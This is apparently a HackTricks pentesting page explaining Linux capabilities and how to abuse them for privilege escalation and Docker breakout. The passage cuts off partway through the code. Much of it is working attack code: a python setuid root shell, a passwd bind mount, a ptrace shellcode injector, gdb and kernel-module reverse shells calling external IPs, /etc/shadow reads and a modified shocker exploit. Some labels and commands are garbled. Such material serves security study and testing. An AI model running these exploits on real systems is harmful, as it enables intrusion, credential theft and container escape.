HackTricks
Search…
Pentesting
Linux Capabilities

Capabilities

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.

Why capabilities?

To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve.
Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions.

Capabilities Sets

Inherited capabilities

CapEff: The effective capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.
CapPrm: (Permitted) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap_setpcap capability in its thread effective set.
CapInh: Using the inherited set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an execve and is usually set by a process receiving capabilities rather than by a process that’s handing out capabilities to its children.
CapBnd: With the bounding set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.
CapAmb: The ambient capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling execve. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across execve calls.
For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages:

Processes & Binaries Capabilities

Processes Capabilities

To see the capabilities for a particular process, use the status file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities. Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes.
You can find the capabilities defined in /usr/include/linux/capability.h
You can find the capabilities of the current process in cat /proc/self/status or doing capsh --print and of other users in /proc/<pid>/status
1
cat /proc/1234/status | grep Cap
2
cat /proc/$/status | grep Cap #This will print the capabilities of the current process
Copied!
This command should return 5 lines on most systems.
  • CapInh = Inherited capabilities
  • CapPrm = Permitted capabilities
  • CapEff = Effective capabilities
  • CapBnd = Bounding set
  • CapAmb = Ambient capabilities set
1
#These are the typical capabilities of a root owned process (all)
2
CapInh: 0000000000000000
3
CapPrm: 0000003fffffffff
4
CapEff: 0000003fffffffff
5
CapBnd: 0000003fffffffff
6
CapAmb: 0000000000000000
Copied!
These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name.
1
capsh --decode=0000003fffffffff
2
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Copied!
Lets check now the capabilities used by ping:
1
cat /proc/9491/status | grep Cap
2
CapInh: 0000000000000000
3
CapPrm: 0000000000003000
4
CapEff: 0000000000000000
5
CapBnd: 0000003fffffffff
6
CapAmb: 0000000000000000
7
8
capsh --decode=0000000000003000
9
0x0000000000003000=cap_net_admin,cap_net_raw
Copied!
Although that works, there is another and easier way. To see the capabilities of a running process, simply use the getpcaps tool followed by its process ID (PID). You can also provide a list of process IDs.
1
getpcaps 1234
Copied!
Lets check here the capabilities of tcpdump after having giving the binary enough capabilities (cap_net_admin and cap_net_raw) to sniff the network (tcpdump is running in process 9562):
1
#The following command give tcpdump the needed capabilities to sniff traffic
2
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
3
4
$ getpcaps 9562
5
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
6
7
$ cat /proc/9562/status | grep Cap
8
CapInh: 0000000000000000
9
CapPrm: 0000000000003000
10
CapEff: 0000000000003000
11
CapBnd: 0000003fffffffff
12
CapAmb: 0000000000000000
13
14
$ capsh --decode=0000000000003000
15
0x0000000000003000=cap_net_admin,cap_net_raw
Copied!
As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary. The getpcaps tool uses the capget() system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.

Binaries Capabilities

Binaries can have capabilities that can be used while executing. For example, it's very common to find ping binary with cap_net_raw capability:
1
getcap /usr/bin/ping
2
/usr/bin/ping = cap_net_raw+ep
Copied!
You can search binaries with capabilities using:
1
getcap -r / 2>/dev/null
Copied!

Dropping capabilities with capsh

If we drop the CAP_NET_RAW capabilities for ping, then the ping utility should no longer work.
1
capsh --drop=cap_net_raw --print -- -c "tcpdump"
Copied!
Besides the output of capsh itself, the tcpdump command itself should also raise an error.
/bin/bash: /usr/sbin/tcpdump: Operation not permitted
The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.

Remove Capabilities

You can remove capabilities of a binary with
1
setcap -r </path/to/binary>
Copied!

User Capabilities

Apparently it's possible to assign capabilities also to users. This probably means that every process executed by the user will be able to use the users capabilities. Base on on this, this and this a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be /etc/security/capability.conf. File example:
1
# Simple
2
cap_sys_ptrace developer
3
cap_net_raw user1
4
5
# Multiple capablities
6
cap_net_admin,cap_net_raw jrnetadmin
7
# Identical, but with numeric values
8
12,13 jrnetadmin
9
10
# Combining names and numerics
11
cap_sys_admin,22,25 jrsysadmin
Copied!

Environment Capabilities

Compiling the following program it's possible to spawn a bash shell inside an environment that provides capabilities.
ambient.c
1
/*
2
* Test program for the ambient capabilities
3
*
4
* compile using:
5
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
6
* Set effective, inherited and permitted capabilities to the compiled binary
7
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
8
*
9
* To get a shell with additional caps that can be inherited do:
10
*
11
* ./ambient /bin/bash
12
*/
13
14
#include <stdlib.h>
15
#include <stdio.h>
16
#include <string.h>
17
#include <errno.h>
18
#include <sys/prctl.h>
19
#include <linux/capability.h>
20
#include <cap-ng.h>
21
22
static void set_ambient_cap(int cap) {
23
int rc;
24
capng_get_caps_process();
25
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
26
if (rc) {
27
printf("Cannot add inheritable cap\n");
28
exit(2);
29
}
30
capng_apply(CAPNG_SELECT_CAPS);
31
/* Note the two 0s at the end. Kernel checks for these */
32
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
33
perror("Cannot set cap");
34
exit(1);
35
}
36
}
37
void usage(const char * me) {
38
printf("Usage: %s [-c caps] new-program new-args\n", me);
39
exit(1);
40
}
41
int default_caplist[] = {
42
CAP_NET_RAW,
43
CAP_NET_ADMIN,
44
CAP_SYS_NICE,
45
-1
46
};
47
int * get_caplist(const char * arg) {
48
int i = 1;
49
int * list = NULL;
50
char * dup = strdup(arg), * tok;
51
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
52
list = realloc(list, (i + 1) * sizeof(int));
53
if (!list) {
54
perror("out of memory");
55
exit(1);
56
}
57
list[i - 1] = atoi(tok);
58
list[i] = -1;
59
i++;
60
}
61
return list;
62
}
63
int main(int argc, char ** argv) {
64
int rc, i, gotcaps = 0;
65
int * caplist = NULL;
66
int index = 1; // argv index for cmd to start
67
if (argc < 2)
68
usage(argv[0]);
69
if (strcmp(argv[1], "-c") == 0) {
70
if (argc <= 3) {
71
usage(argv[0]);
72
}
73
caplist = get_caplist(argv[2]);
74
index = 3;
75
}
76
if (!caplist) {
77
caplist = (int * ) default_caplist;
78
}
79
for (i = 0; caplist[i] != -1; i++) {
80
printf("adding %d to ambient list\n", caplist[i]);
81
set_ambient_cap(caplist[i]);
82
}
83
printf("Ambient forking shell\n");
84
if (execv(argv[index], argv + index))
85
perror("Cannot exec");
86
return 0;
87
}
Copied!
1
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
2
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
3
./ambient /bin/bash
Copied!
Inside the bash executed by the compiled ambient binary it's possible to observe the new capabilities (a regular user won't have any capability in the "current" section).
1
capsh --print
2
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
Copied!
You can only add capabilities that are present in both the permitted and the inheritable sets.

Capability-aware/Capability-dumb binaries

The capability-aware binaries won't use the new capabilities given by the environment, however the capability dumb binaries will use them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.

Service Capabilities

By default a service running as root will have assigned all the capabilities, and in some occasions this may be dangerous. Therefore, a service configuration file allows to specify the capabilities you want it to have, and the user that should execute the service to avoid running a service with unnecessary privileges:
1
[Service]
2
User=bob
3
AmbientCapabilities=CAP_NET_BIND_SERVICE
Copied!

Capabilities in Docker Containers

By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running:
1
docker run --rm -it r.j3ss.co/amicontained bash
2
Capabilities:
3
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
4
5
# Add a capabilities
6
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
7
8
# Add all capabilities
9
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
10
11
# Remove all and add only one
12
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
Copied!

Malicious Use

Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.
You can force capabilities upon programs using setcap, and query these using getcap:
1
#Set Capability
2
setcap cap_net_raw+ep /sbin/ping
3
4
#Get Capability
5
getcap /sbin/ping
6
/sbin/ping = cap_net_raw+ep
Copied!
The +ep means you’re adding the capability (“-” would remove it) as Effective and Permitted.
To identify programs in a system or folder with capabilities:
1
getcap -r / 2>/dev/null
Copied!

Exploitation example

In the following example the binary /usr/bin/python2.6 is found vulnerable to privesc:
1
setcap cap_setuid+ep /usr/bin/python2.7
2
/usr/bin/python2.7 = cap_setuid+ep
3
4
#Exploit
5
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
Copied!
Capabilities needed by tcpdump to allow any user to sniff packets:
1
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
2
getcap /usr/sbin/tcpdump
3
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
Copied!

The special case of "empty" capabilities

Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:
  1. 1.
    is not owned by root
  2. 2.
    has no SUID/SGID bits set
  3. 3.
    has empty capabilities set (e.g.: getcap myelf returns myelf =ep)
then that binary will run as root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). CAP_SYS_ADMIN is required to perform a range of administrative operations, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to mount devices or abuse release_agent to escape from the container.

Example with binary

1
getcap -r / 2>/dev/null
2
/usr/bin/python2.7 = cap_sys_admin+ep
Copied!
Using python you can mount a modified passwd file on top of the real passwd file:
1
cp /etc/passwd ./ #Create a copy of the passwd file
2
openssl passwd -1 -salt abc password #Get hash of "password"
3
vim ./passwd #Change roots passwords of the fake passwd file
Copied!
And finally mount the modified passwd file on /etc/passwd:
1
from ctypes import *
2
libc = CDLL("libc.so.6")
3
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
4
MS_BIND = 4096
5
source = b"/path/to/fake/passwd"
6
target = b"/etc/passwd"
7
filesystemtype = b"none"
8
options = b"rw"
9
mountflags = MS_BIND
10
libc.mount(source, target, filesystemtype, mountflags, options)
Copied!
And you will be able to su as root using password "password".

Example with environment (Docker breakout)

You can check the enabled capabilities inside the docker container using:
1
capsh --print
2
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
3
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
4
Securebits: 00/0x0/1'b0
5
secure-noroot: no (unlocked)
6
secure-no-suid-fixup: no (unlocked)
7
secure-keep-caps: no (unlocked)
8
uid=0(root)
9
gid=0(root)
10
groups=0(root)
Copied!
Inside the previous output you can see that the SYS_ADMIN capability is enabled.
  • Mount
This allows the docker container to mount the host disk and access it freely:
1
fdisk -l #Get disk name
2
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
3
Units: sectors of 1 * 512 = 512 bytes
4
Sector size (logical/physical): 512 bytes / 512 bytes
5
I/O size (minimum/optimal): 512 bytes / 512 bytes
6
7
mount /dev/sda /mnt/ #Mount it
8
cd /mnt
9
chroot ./ bash #You have a shell inside the docker hosts disk
Copied!
  • Full access
In the previous method we managed to access the docker host disk. In case you find that the host is running an ssh server, you could create a user inside the docker host disk and access it via SSH:
1
#Like in the example before, the first step is to moun the dosker host disk
2
fdisk -l
3
mount /dev/sda /mnt/
4
5
#Then, search for open ports inside the docker host
6
nc -v -n -w2 -z 172.17.0.1 1-65535
7
(UNKNOWN) [172.17.0.1] 2222 (?) open
8
9
#Finally, create a new user inside the docker host and use it to access via SSH
10
chroot /mnt/ adduser john
11
ssh [email protected] -p 2222
Copied!

CAP_SYS_PTRACE

This means that you can escape the container by injecting a shellcode inside some process running inside the host. To access processes running inside the host the container needs to be run at least with --pid=host.
CAP_SYS_PTRACE allows to use ptrace(2) and recently introduced cross memory attach system calls such as process_vm_readv(2) and process_vm_writev(2). If this capability is granted and the ptrace(2) system call itself is not blocked by a seccomp filter, this will allow an attacker to bypass other seccomp restrictions, see PoC for bypassing seccomp if ptrace is allowed or the following PoC:

Example with binary

1
getcap -r / 2>/dev/null
2
/usr/bin/python2.7 = cap_sys_ptrace+ep
Copied!
1
import ctypes
2
import sys
3
import struct
4
# Macros defined in <sys/ptrace.h>
5
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
6
PTRACE_POKETEXT = 4
7
PTRACE_GETREGS = 12
8
PTRACE_SETREGS = 13
9
PTRACE_ATTACH = 16
10
PTRACE_DETACH = 17
11
# Structure defined in <sys/user.h>
12
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
13
class user_regs_struct(ctypes.Structure):
14
_fields_ = [
15
("r15", ctypes.c_ulonglong),
16
("r14", ctypes.c_ulonglong),
17
("r13", ctypes.c_ulonglong),
18
("r12", ctypes.c_ulonglong),
19
("rbp", ctypes.c_ulonglong),
20
("rbx", ctypes.c_ulonglong),
21
("r11", ctypes.c_ulonglong),
22
("r10", ctypes.c_ulonglong),
23
("r9", ctypes.c_ulonglong),
24
("r8", ctypes.c_ulonglong),
25
("rax", ctypes.c_ulonglong),
26
("rcx", ctypes.c_ulonglong),
27
("rdx", ctypes.c_ulonglong),
28
("rsi", ctypes.c_ulonglong),
29
("rdi", ctypes.c_ulonglong),
30
("orig_rax", ctypes.c_ulonglong),
31
("rip", ctypes.c_ulonglong),
32
("cs", ctypes.c_ulonglong),
33
("eflags", ctypes.c_ulonglong),
34
("rsp", ctypes.c_ulonglong),
35
("ss", ctypes.c_ulonglong),
36
("fs_base", ctypes.c_ulonglong),
37
("gs_base", ctypes.c_ulonglong),
38
("ds", ctypes.c_ulonglong),
39
("es", ctypes.c_ulonglong),
40
("fs", ctypes.c_ulonglong),
41
("gs", ctypes.c_ulonglong),
42
]
43
44
libc = ctypes.CDLL("libc.so.6")
45
46
pid=int(sys.argv[1])
47
48
# Define argument type and respone type.
49
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
50
libc.ptrace.restype = ctypes.c_uint64
51
52
# Attach to the process
53
libc.ptrace(PTRACE_ATTACH, pid, None, None)
54
registers=user_regs_struct()
55
56
# Retrieve the value stored in registers
57
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
58
print("Instruction Pointer: " + hex(registers.rip))
59
print("Injecting Shellcode at: " + hex(registers.rip))
60
61
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
62
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
63
64
# Inject the shellcode into the running process byte by byte.
65
for i in xrange(0,len(shellcode),4):
66
# Convert the byte to little endian.
67
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
68
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
69
shellcode_byte=int(shellcode_byte_little_endian,16)
70
71
# Inject the byte.
72
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
73
74
print("Shellcode Injected!!")
75
76
# Modify the instuction pointer
77
registers.rip=registers.rip+2
78
79
# Set the registers
80
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
81
print("Final Instruction Pointer: " + hex(registers.rip))
82
83
# Detach from the process.
84
libc.ptrace(PTRACE_DETACH, pid, None, None)
Copied!

Example with environment (Docker breakout) - Shellcode Injection

You can check the enabled capabilities inside the docker container using:
1
capsh --print
2
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
3
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
4
Securebits: 00/0x0/1'b0
5
secure-noroot: no (unlocked)
6
secure-no-suid-fixup: no (unlocked)
7
secure-keep-caps: no (unlocked)
8
uid=0(root)
9
gid=0(root)
10
groups=0(root
Copied!
List processes running in the host ps -eaf
  1. 1.
    Get the architecture uname -m
  2. 2.
    Find a shellcode for the architecture (https://www.exploit-db.com/exploits/41128)
  3. 3.
    Find a program to inject the shellcode into a process memory (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
  4. 4.
    Modify the shellcode inside the program and compile it gcc inject.c -o inject
  5. 5.
    Inject it and grab your shell: ./inject 299; nc 172.17.0.1 5600

Example with environment (Docker breakout) - Gdb Abuse

If GDB is installed (or you can install it with apk add gdb or apt install gdb for example) you can debug a process from the host and make it call the system function. (This technique also requires the capability SYS_ADMIN).
1
gdb -p 1234
2
(gdb) call (void)system("ls")
3
(gdb) call (void)system("sleep 5")
4
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
Copied!
You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell).

CAP_SYS_MODULE

CAP_SYS_MODULE allows the process to load and unload arbitrary kernel modules (init_module(2), finit_module(2) and delete_module(2) system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems. This means that you can insert/remove kernel modules in/from the kernel of the host machine.

Example with binary

In the following example the binary python has this capability.
1
getcap -r / 2>/dev/null
2
/usr/bin/python2.7 = cap_sys_module+ep
Copied!
By default, modprobe command checks for dependency list and map files in the directory /lib/modules/$(uname -r). In order to abuse this, lets create a fake lib/modules folder:
1
mkdir lib/modules -p
2
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
Copied!
Then compile the kernel module you can find 2 examples below and copy it to this folder:
1
cp reverse-shell.ko lib/modules/$(uname -r)/
Copied!
Finally, execute the needed python code to load this kernel module:
1
import kmod
2
km = kmod.Kmod()
3
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
4
km.modprobe("reverse-shell")
Copied!

Example 2 with binary

In the following example the binary kmod has this capability.
1
getcap -r / 2>/dev/null
2
/bin/kmod = cap_sys_module+ep
Copied!
Which means that it's possible to use the command insmod to insert a kernel module. Follow the example below to get a reverse shell abusing this privilege.

Example with environment (Docker breakout)

You can check the enabled capabilities inside the docker container using:
1
capsh --print
2
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
3
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
4
Securebits: 00/0x0/1'b0
5
secure-noroot: no (unlocked)
6
secure-no-suid-fixup: no (unlocked)
7
secure-keep-caps: no (unlocked)
8
uid=0(root)
9
gid=0(root)
10
groups=0(root)
Copied!
Inside the previous output you can see that the SYS_MODULE capability is enabled.
Create the kernel module that is going to execute a reverse shell and the Makefile to compile it:
reverse-shell.c
1
#include <linux/kmod.h>
2
#include <linux/module.h>
3
MODULE_LICENSE("GPL");
4
MODULE_AUTHOR("AttackDefense");
5
MODULE_DESCRIPTION("LKM reverse shell module");
6
MODULE_VERSION("1.0");
7
8
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
9
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
10
11
// call_usermodehelper function is used to create user mode processes from kernel space
12
static int __init reverse_shell_init(void) {
13
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
14
}
15
16
static void __exit reverse_shell_exit(void) {
17
printk(KERN_INFO "Exiting\n");
18
}
19
20
module_init(reverse_shell_init);
21
module_exit(reverse_shell_exit);
Copied!
Makefile
1
obj-m +=reverse-shell.o
2
3
all:
4
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
5
6
clean:
7
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Copied!
The blank char before each make word in the Makefile must be a tab, not spaces!
Execute make to compile it.
1
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
2
3
sudo apt update
4
sudo apt full-upgrade
Copied!
Finally, start nc inside a shell and load the module from another one and you will capture the shell in the nc process:
1
#Shell 1
2
nc -lvnp 4444
3
4
#Shell 2
5
insmod reverse-shell.ko #Launch the reverse shell
Copied!
The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from https://www.pentesteracademy.com/
CAP_DAC_READ_SEARCH allows a process to bypass file read, and directory read and execute permissions. While this was designed to be used for searching or reading files, it also grants the process permission to invoke open_by_handle_at(2). Any process with the capability CAP_DAC_READ_SEARCH can use open_by_handle_at(2) to gain access to any file, even files outside their mount namespace. The handle passed into open_by_handle_at(2) is intended to be an opaque identifier retrieved using name_to_handle_at(2). However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with shocker exploit. This means that you can bypass can bypass file read permission checks and directory read/execute permission checks.

Example with binary

The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file:
1
cd /etc
2
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
3
cd /tmp
4
tar -cxf shadow.tar.gz
Copied!

Example with binary2

In this case lets suppose that python binary has this capability. In order to list root files you could do:
1
import os
2
for r, d, f in os.walk('/root'):
3
for filename in f:
4
print(filename)
Copied!
And in order to read a file you could do:
1
print(open("/etc/shadow", "r").read())
Copied!

Example with _**_Environment (Docker breakout)

You can check the enabled capabilities inside the docker container using:
1
capsh --print
2
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
3
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
4
Securebits: 00/0x0/1'b0
5
secure-noroot: no (unlocked)
6
secure-no-suid-fixup: no (unlocked)
7
secure-keep-caps: no (unlocked)
8
uid=0(root)
9
gid=0(root)
10
groups=0(root)
Copied!
Inside the previous output you can see that the DAC_READ_SEARCH capability is enabled. As a result, the container can debug processes.
You can learn how the following exploiting works in https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 but in resume CAP_DAC_READ_SEARCH not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to open_by_handle_at(2) and could allow our process to sensitive files opened by other processes.
The original exploit that abuse this permissions to read files from the host can be found here: http://stealth.openwall.net/xSports/shocker.c, the following is a modified version that allows you to indicate the file you want to read as first argument and dump it in a file.
1
#include <stdio.h>
2
#include <sys/types.h>
3
#include <sys/stat.h>
4
#include <fcntl.h>
5
#include <errno.h>
6
#include <stdlib.h>
7
#include <string.h>
8
#include <unistd.h>
9
#include <dirent.h>
10
#include <stdint.h>
11
12
// gcc shocker.c -o shocker
13
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
14
15
struct my_file_handle {
16
unsigned int handle_bytes;
17
int handle_type;
18
unsigned char f_handle[8];
19
};
20
21
void die(const char * msg) {
22
perror(msg);
23
exit(errno);
24
}
25
26
void dump_handle(const struct my_file_handle * h) {
27
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
28
h -> handle_type);
29
for (int i = 0; i < h -> handle_bytes; ++i) {
30
fprintf(stderr, "0x%02x", h -> f_handle[i]);
31
if ((i + 1) % 20 == 0)
32
fprintf(stderr, "\n");
33
if (i < h -> handle_bytes - 1)
34
fprintf(stderr, ", ");
35
}
36
fprintf(stderr, "};\n");
37
}
38
39
int find_handle(int bfd,
40
const char * path,
41
const struct my_file_handle * ih, struct my_file_handle *
42
oh) {
43
int fd;
44
uint32_t ino = 0;
45
struct my_file_handle outh = {
46
.handle_bytes = 8,
47
.handle_type = 1
48
};
49
DIR * dir = NULL;
50
struct dirent * de = NULL;
51
path = strchr(path, '/');
52
// recursion stops if path has been resolved
53
if (!path) {
54
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
55
oh -> handle_type = 1;
56
oh -> handle_bytes = 8;
57
return 1;
58
}
59
++path;
60
fprintf(stderr, "[*] Resolving '%s'\n", path);
61
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
62
die("[-] open_by_handle_at");
63
if ((dir = fdopendir(fd)) == NULL)
64
die("[-] fdopendir");
65
for (;;) {
66
de = readdir(dir);
67
if (!de)
68
break;
69
fprintf(stderr, "[*] Found %s\n", de -> d_name);
70
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
71
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
72
ino = de -> d_ino;
73
break;
74
}
75
}
76
77
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
78
if (de) {